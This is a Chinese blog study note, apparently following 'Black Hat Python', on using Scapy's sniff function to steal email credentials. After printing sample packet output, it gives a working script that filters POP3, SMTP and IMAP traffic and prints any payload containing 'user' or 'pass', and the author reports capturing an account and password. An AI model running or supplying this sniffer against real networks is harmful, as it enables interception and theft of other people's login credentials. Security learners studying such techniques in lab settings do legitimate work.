python黑帽子学习笔记(五)—— Scapy

一、窃取Email认证。
1.sniff函数。

sniff(filter="",iface="any",prn=function,count)

filter参数允许我们对Scapy嗅探的数据包指定一个BPF的过滤器,也可以留空以嗅探所有的数据包。prn参数指定嗅探到符合过滤器条件的数据包时调用的回调函数,这个函数以接收到的数据包对象作为唯一参数。count指定你嗅探的数据包个数;如果留空,Scapy默认嗅探无限个。
2.代码。

#coding=utf-8
from scapy.all import *

#数据包回调函数
def packet_callback(packet):
    print(packet.show)

#开启嗅探器
sniff(prn=packet_callback,count=1)

3.测试结果。

###[ Ethernet ]### 
  dst       = ff:ff:ff:ff:ff:ff
  src       = 00:50:56:c0:00:08
  type      = 0x800
###[ IP ]### 
     version   = 4L
     ihl       = 5L
     tos       = 0x0
     len       = 229
     id        = 17265
     flags     = 
     frag      = 0L
     ttl       = 128
     proto     = udp
     chksum    = 0x5246
     src       = 192.168.17.1
     dst       = 192.168.17.255
     \options   \
###[ UDP ]### 
        sport     = netbios_dgm
        dport     = netbios_dgm
        len       = 209
        chksum    = 0x76cc
###[ NBT Datagram Packet ]### 
           Type      = 17
           Flags     = 14
           ID        = 44596
           SourceIP  = 192.168.17.1
           SourcePort= 138
           Length    = 187
           Offset    = 0
           SourceName= 'DESKTOP-I34R7DF'
           SUFFIX1   = file server service
           NULL      = 0
           DestinationName= 'WORKGROUP      '
           SUFFIX2   = 16974
           NULL      = 0
###[ Raw ]### 
              load      = '\xffSMB%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x00\x00!\x00V\x00\x03\x00\x01\x00\x00\x00\x02\x002\x00\\MAILSLOT\\BROWSE\x00\x01\x00\x80\xfc\n\x00DESKTOP-I34R7DF\x00\n\x00\x03\x10\x00\x00\x0f\x01U\xaa\x00'

None

pack.show函数解析了其中的协议信息并输出包的内容。show它可以确认捕获的数据是否是你所需要的。
改进代码

#coding=utf-8
from scapy.all import *

def pcket_callback(packet):
    if packet[TCP].payload:
        mail_packet = str(packet[TCP].payload)
        if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
            print "[*] Server: %s" % packet[IP].dst
            print "[*] %s" % packet[TCP].payload
#开启嗅探器
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=pcket_callback,store=0)


我们修改了sniff函数,添加了过滤器使其仅对常见的电子邮箱端口110、143、25进行嗅探。
还有一个新参数store当它等于0时嗅探器将不会保存数据这适合长期进行嗅探!
测试
在这里插入图片描述
可以看到我们成功嗅探到了账户,密码。

猜你喜欢

转载自blog.csdn.net/qq_40909772/article/details/83352022